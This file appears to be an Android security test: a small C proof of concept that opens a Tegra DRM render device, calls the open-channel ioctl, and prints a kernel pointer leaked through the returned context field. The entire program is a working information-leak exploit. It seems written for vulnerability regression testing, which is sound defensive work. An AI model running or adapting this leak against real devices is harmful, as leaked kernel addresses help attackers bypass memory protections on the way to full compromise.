| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions vand |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| #include <sys/types.h> |
| #include <sys/wait.h> |
| #include <sys/syscall.h> |
| #include <unistd.h> |
| #include <string.h> |
| #include <stdint.h> |
| #include <stdio.h> |
| #include <fcntl.h> |
| struct drm_tegra_open_channel { |
| __u32 client; |
| __u32 pad; |
| void* context; |
| }; |
| #define tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL (int)3222299717 |
| int main() |
| { |
| int fd, rc; |
| struct drm_tegra_open_channel open_args = {0,0,0}; |
| open_args.client = 0x21; |
| fd = open("/dev/dri/renderD129", 0, 0); |
| rc = ioctl(fd, tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_args); |
| |
| printf("Leaked ptr is %p\n", open_args.context); |
| return 0; |
| } |
